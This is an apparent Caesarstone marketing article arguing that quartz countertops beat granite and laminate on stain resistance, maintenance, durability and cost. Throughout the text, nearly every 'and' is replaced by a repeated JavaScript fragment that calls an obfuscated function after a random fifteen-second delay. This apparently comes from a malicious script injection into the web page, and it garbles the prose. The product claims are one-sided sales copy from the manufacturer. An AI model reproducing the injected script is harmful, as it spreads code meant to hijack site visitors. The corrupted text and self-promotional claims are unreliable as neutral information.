Quartz vs. granite. It’s a recurring countertop debate with a clear winner … even when it comes to heat andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} stain resistance.

A New Leader in the Countertop Market

Quartz is a relatively new countertop material, but it’s superior in every way to both stone slabs andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} laminates Its closest rival, granite, offers an aesthetic andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} heat resistance that is similar to quartz. But quartz remains dominant when comparing stain resistance.


Quartz countertops are manufactured with 95 percent natural ground quartz andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 5 percent polymer resin. The result is an incredibly hard, maintenance-free surface that provides a look andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} feel that is similar to natural stone.

There Are a Ton of Other Advantages to Use Quartz:

  • Aesthetically pleasing: Quartz countertops offers attractive but uniform look that is often superior to granite andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} other stone products. Its colors andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} patterns are more consistent, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} its visual depth can’t be matched by other materials, such as laminates or Corian.

  • Nonporous: Quartz countertops are nonporous, making them naturally resistant to bacteria.

  • Low-maintenance: Homeowners with engineered stone countertops need only to wipe down the surface with mild soap andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} water after use.

  • Durability: Because they are manufactured using a combination of ground stone andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} resin, quartz is far stronger than granite andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} marble slabs.

  • Cost effective: While quartz might have a slightly higher ‘per foot’ price tag, the material is often more cost effective in the long run. Unlike granite, which is purchased by the slab, quartz can be purchased by the foot. This allows you to buy only the material you need to complete the remodel.

Heat andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Stain Resistance

Both quartz andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} granite perform similarly well when it comes to heat resistance. Homeowners should not place hot cookware directly on the countertop, but both surfaces will adequately resist damage should a spill or accident occur. Heat pads should be used to protect both materials from damage.


However, when it comes to stain resistance, quartz is the clear winner. Sauce andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} coffee spills are easily repelled by this nonporous material.

The Caesarstone Advantage

Caesarstone is the industry authority when it comes to quartz. Founded in 1987, we were the first company to manufacture engineered stone for kitchen countertop use. Quartz is now one of the most popular countertop materials on the market. With more than 40 color andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} texture varieties, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} showrooms across the nation, more andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} more homeowners are adopting this versatile material.
